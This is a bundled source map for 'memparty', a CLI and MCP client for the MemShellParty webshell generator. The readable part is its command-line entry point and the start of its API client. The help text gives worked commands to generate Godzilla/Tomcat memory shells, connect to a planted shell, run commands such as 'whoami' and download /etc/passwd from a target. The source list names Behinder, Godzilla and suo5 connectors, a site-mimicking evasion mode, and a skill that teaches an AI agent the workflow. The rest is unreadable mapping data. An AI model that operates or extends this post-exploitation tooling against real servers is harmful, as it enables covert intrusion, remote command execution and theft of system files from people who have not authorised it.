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","names":["Command","CommanderError","input","config","resolve","excerpt","cookie","randomBytes","randomBytes","randomInt","readFileSync","homedir","join","createCipheriv","createDecipheriv","randomBytes","randomBytes","createCipheriv","createDecipheriv","left","randomBytes","encryptField","decryptField","decryptField","randomInt","encryptField","decryptField","existsSync","mkdirSync","readFileSync","homedir","join","existsSync","mkdirSync","readFileSync","writeFileSync","homedir","dirname","join","NAME_RE","input","Command","mkdirSync","readFileSync","writeFileSync","join","input","existsSync","input","join","mkdirSync","writeFileSync","readFileSync","Command","http","decryptField","resolve","http","encryptField","Option","parseExtraHeaders","Option","readFileSync","Option","writeFileSync","randomInt","randomInt","readFileSync","readFileSync","readFileSync","Option","Option","Option","writeFileSync","existsSync","readFileSync","dirname","join","require","writeFileSync","updated","readFileSync","readFileSync","Option","checkbox","confirm","input","select","JDK_CHOICES","select","input","checkbox","confirm","REQUIRED","toOptions","Option","Command","existsSync","mkdirSync","readdirSync","homedir","join","fileURLToPath","Command","Option","parseExtraHeaders","Option","input","updated","writeFileSync","Option","parseExtraHeaders","Option","writeFileSync","resolve","Command","CommanderError"]}
|
|
1
|
+
{"version":3,"sources":["../src/cli.ts","../src/api/client.ts","../src/core/config.ts","../src/cli-context.ts","../src/core/shell-tool-config.ts","../src/commands/config.ts","../src/commands/bytecode.ts","../src/core/output.ts","../src/core/obfuscation.ts","../src/commands/connect.ts","../src/connect/assets.ts","../src/connect/classfile.ts","../src/connect/crypto.ts","../src/connect/http.ts","../src/connect/types.ts","../src/connect/behinder.ts","../src/connect/godzilla.ts","../src/connect/websocket.ts","../src/connect/suo5.ts","../src/connect/mimic.ts","../src/core/site-profile.ts","../src/connect/mimic-codecs.ts","../src/connect/mimic-shared.ts","../src/connect/registry.ts","../src/core/oplog.ts","../src/core/targets.ts","../src/commands/custom.ts","../src/custom/build.ts","../src/core/jdk.ts","../src/custom/java-template.ts","../src/custom/javac.ts","../src/connect/mimic-server.ts","../src/commands/demo.ts","../src/commands/exec.ts","../src/commands/gen.ts","../src/core/request-builder.ts","../src/core/agent.ts","../src/wizard/memshell-wizard.ts","../src/commands/log.ts","../src/mcp/server.ts","../src/core/localfile.ts","../src/version.ts","../src/commands/mcp.ts","../src/commands/parse-classname.ts","../src/commands/probe.ts","../src/wizard/probe-wizard.ts","../src/commands/profile.ts","../src/commands/skill.ts","../src/core/skill-install.ts","../src/commands/target.ts","../src/commands/transfer.ts","../src/commands/version.ts","../src/repl.ts"],"sourcesContent":["import { Command, CommanderError } from \"commander\";\n\nimport { ApiError } from \"./api/client.js\";\nimport { reportError } from \"./cli-context.js\";\nimport { registerConfigCommand } from \"./commands/config.js\";\nimport { registerBytecodeCommand } from \"./commands/bytecode.js\";\nimport { registerConnectCommand } from \"./commands/connect.js\";\nimport { registerCustomCommand } from \"./commands/custom.js\";\nimport { registerDemoCommand } from \"./commands/demo.js\";\nimport { registerExecCommand } from \"./commands/exec.js\";\nimport { registerGenCommand } from \"./commands/gen.js\";\nimport { registerLogCommand } from \"./commands/log.js\";\nimport { registerMcpCommand } from \"./commands/mcp.js\";\nimport { registerParseClassNameCommand } from \"./commands/parse-classname.js\";\nimport { registerProbeCommand } from \"./commands/probe.js\";\nimport { registerProfileCommand } from \"./commands/profile.js\";\nimport { registerSkillCommand } from \"./commands/skill.js\";\nimport { registerTargetCommand } from \"./commands/target.js\";\nimport { registerDownloadCommand, registerUploadCommand } from \"./commands/transfer.js\";\nimport { registerVersionCommand } from \"./commands/version.js\";\nimport { DEFAULT_API_URL, ENV_VAR } from \"./core/config.js\";\nimport { startRepl } from \"./repl.js\";\nimport { CLI_VERSION } from \"./version.js\";\n\nfunction buildProgram(): Command {\n const program = new Command();\n\n program\n .name(\"memparty\")\n .description(\"CLI + MCP client for MemShellParty (party.mem.mk)\")\n .version(CLI_VERSION, \"-v, --version\", \"output the CLI version\")\n .option(\n \"--api <url>\",\n `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`,\n )\n .option(\"--timeout <ms>\", \"request timeout in milliseconds\", \"30000\")\n .exitOverride() // throw instead of process.exit — needed by the REPL and the JSON error path\n .addHelpText(\n \"after\",\n `\nQuick start:\n $ memparty gen # interactive memory-shell wizard\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class\n $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value my-secret-token\n $ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect\n $ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd\n $ memparty list # saved targets\n $ memparty log # recent operations\n\nSite-mimicking (mimic) flow:\n $ memparty skill install # teach your agent this workflow\n $ memparty profile init acme --site http://192.0.2.1:8080 # then write the profile\n $ memparty custom build --profile acme --server Tomcat # -> injectable payload\n $ memparty demo # local end-to-end walkthrough\n\nEvery subcommand has its own examples: memparty <command> --help\n`,\n );\n\n registerGenCommand(program);\n registerProbeCommand(program);\n registerConfigCommand(program);\n registerBytecodeCommand(program);\n registerConnectCommand(program);\n registerExecCommand(program);\n registerDownloadCommand(program);\n registerUploadCommand(program);\n registerTargetCommand(program);\n registerLogCommand(program);\n registerParseClassNameCommand(program);\n registerProfileCommand(program);\n registerSkillCommand(program);\n registerCustomCommand(program);\n registerDemoCommand(program);\n registerVersionCommand(program);\n registerMcpCommand(program);\n\n return program;\n}\n\nasync function main(): Promise<void> {\n // bare `memparty` in a terminal drops into the REPL; piped/CI keeps printing help\n if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {\n await startRepl(buildProgram);\n return;\n }\n\n const program = buildProgram();\n try {\n await program.parseAsync(process.argv);\n } catch (err) {\n // Set exitCode rather than calling process.exit(): an abrupt exit while\n // undici's (global fetch) keep-alive socket is still open trips a libuv\n // assertion on Windows. Letting the event loop drain avoids the crash.\n if (err instanceof CommanderError) {\n // exitOverride: commander already printed help/usage/version; keep its exit code\n process.exitCode = err.exitCode;\n } else if (err instanceof ApiError) {\n reportError(`API error (${err.status || \"network\"}): ${err.message}`, process.argv);\n process.exitCode = 1;\n } else if (err instanceof Error) {\n // Inquirer throws this when the user aborts with Ctrl-C.\n if (err.name === \"ExitPromptError\") {\n process.stderr.write(\"\\nAborted.\\n\");\n process.exitCode = 130;\n } else {\n reportError(err.message, process.argv);\n process.exitCode = 1;\n }\n } else {\n reportError(String(err), process.argv);\n process.exitCode = 1;\n }\n }\n}\n\nvoid main();\n","import type {\n ApiErrorResponse,\n BytecodeResult,\n BytecodeTransformRequest,\n BytecodeTransformResponse,\n CommandConfigVO,\n MainConfig,\n MemShellGenerateRequest,\n MemShellGenerateResponse,\n ObfuscationOption,\n PackerTree,\n PluginDescriptor,\n ProbeShellGenerateRequest,\n ProbeShellGenerateResponse,\n ServerConfig,\n ToolConfigDescriptor,\n VersionInfo,\n} from \"./types.js\";\n\nexport type FetchLike = typeof fetch;\n\n/** Error thrown when the API responds with a non-2xx status. */\nexport class ApiError extends Error {\n constructor(\n message: string,\n readonly status: number,\n readonly url: string,\n ) {\n super(message);\n this.name = \"ApiError\";\n }\n}\n\nexport interface MemPartyClientOptions {\n /** Base URL of the MemShellParty backend, e.g. https://party.mem.mk */\n baseUrl: string;\n /** Injectable fetch implementation (defaults to global fetch). Useful for testing. */\n fetch?: FetchLike;\n /** Per-request timeout in milliseconds. Default 30000. */\n timeoutMs?: number;\n}\n\n/**\n * Typed client for the MemShellParty HTTP API.\n * Knows nothing about the CLI or MCP — it is a pure transport layer so every\n * entrypoint (flags, wizard, MCP) can share it.\n */\nexport class MemPartyClient {\n private readonly baseUrl: string;\n private readonly fetchImpl: FetchLike;\n private readonly timeoutMs: number;\n private generationApiVersion?: Promise<\"v2\" | \"v3\">;\n\n constructor(options: MemPartyClientOptions) {\n this.baseUrl = options.baseUrl.replace(/\\/+$/, \"\");\n this.fetchImpl = options.fetch ?? globalThis.fetch;\n this.timeoutMs = options.timeoutMs ?? 30_000;\n if (typeof this.fetchImpl !== \"function\") {\n throw new Error(\n \"No fetch implementation available. Use Node.js >= 18 or pass a custom fetch.\",\n );\n }\n }\n\n // ---------- config ----------\n\n async getServers(): Promise<ServerConfig> {\n const config = await this.getConfig();\n return Object.fromEntries(\n Object.entries(config).map(([server, tools]) => [\n server,\n [...new Set(Object.values(tools).flat())],\n ]),\n );\n }\n\n getConfig(): Promise<MainConfig> {\n return this.request<MainConfig>(\"GET\", \"/api/config\");\n }\n\n getPackerTree(): Promise<PackerTree> {\n return this.request<PackerTree>(\"GET\", \"/api/config/packers/tree\");\n }\n\n async getPackers(): Promise<string[]> {\n try {\n return await this.request<string[]>(\"GET\", \"/api/config/packers\");\n } catch (err) {\n if (!(err instanceof ApiError) || err.status !== 404) throw err;\n return (await this.getPackerTree()).map((packer) => packer.name);\n }\n }\n\n async getCommandConfigs(): Promise<CommandConfigVO> {\n const configs = await this.getShellToolConfigs();\n const command = configs.find((config) => config.tool === \"Command\");\n if (command) {\n return {\n encryptors: command.params.find((param) => param.name === \"encryptor\")?.options ?? [],\n implementationClasses:\n command.params.find((param) => param.name === \"implementationClass\")?.options ?? [],\n };\n }\n return this.request<CommandConfigVO>(\"GET\", \"/api/config/command/configs\");\n }\n\n async getShellToolConfigs(): Promise<ToolConfigDescriptor[]> {\n try {\n return await this.request<ToolConfigDescriptor[]>(\"GET\", \"/api/config/shelltool/configs\");\n } catch (err) {\n if (err instanceof ApiError && err.status === 404) return [];\n throw err;\n }\n }\n\n getObfuscationOptions(): Promise<ObfuscationOption[]> {\n return this.request<ObfuscationOption[]>(\"GET\", \"/api/config/obfuscation/options\");\n }\n\n async getProbeResponseServers(): Promise<string[]> {\n try {\n return await this.request<string[]>(\"GET\", \"/api/config/probe/response/servers\");\n } catch (err) {\n if (err instanceof ApiError && err.status === 404) return [];\n throw err;\n }\n }\n\n getVersion(): Promise<VersionInfo> {\n return this.request<VersionInfo>(\"GET\", \"/api/version\");\n }\n\n async getPlugins(): Promise<PluginDescriptor[]> {\n try {\n return await this.request<PluginDescriptor[]>(\"GET\", \"/api/plugins\");\n } catch (err) {\n if (err instanceof ApiError && err.status === 404) return [];\n throw err;\n }\n }\n\n // ---------- generation ----------\n\n async generateMemShell(req: MemShellGenerateRequest): Promise<MemShellGenerateResponse> {\n const apiVersion = await this.getGenerationApiVersion();\n try {\n return await this.request<MemShellGenerateResponse>(\"POST\", \"/api/memshell/generate\", {\n json: apiVersion === \"v2\" ? toLegacyMemShellRequest(req) : req,\n });\n } catch (err) {\n if (apiVersion === \"v3\" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {\n throw new ApiError(\n `${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,\n err.status,\n err.url,\n );\n }\n throw err;\n }\n }\n\n private getGenerationApiVersion(): Promise<\"v2\" | \"v3\"> {\n this.generationApiVersion ??= this.getVersion()\n .then((version) => (Number(version.currentVersion.split(\".\")[0]) >= 3 ? \"v3\" : \"v2\"))\n .catch(() => \"v3\" as const);\n return this.generationApiVersion;\n }\n\n generateProbe(req: ProbeShellGenerateRequest): Promise<ProbeShellGenerateResponse> {\n return this.request<ProbeShellGenerateResponse>(\"POST\", \"/api/probe/generate\", {\n json: req,\n });\n }\n\n /** Parse a fully-qualified class name from a base64-encoded .class file. */\n parseClassName(classBase64: string): Promise<string> {\n return this.request<string>(\"POST\", \"/api/className\", {\n text: classBase64,\n raw: true,\n });\n }\n\n decodeBytecode(classBase64: string): Promise<BytecodeResult> {\n return this.request<BytecodeResult>(\"POST\", \"/api/bytecode/decode\", {\n text: classBase64,\n });\n }\n\n transformBytecode(req: BytecodeTransformRequest): Promise<BytecodeTransformResponse> {\n return 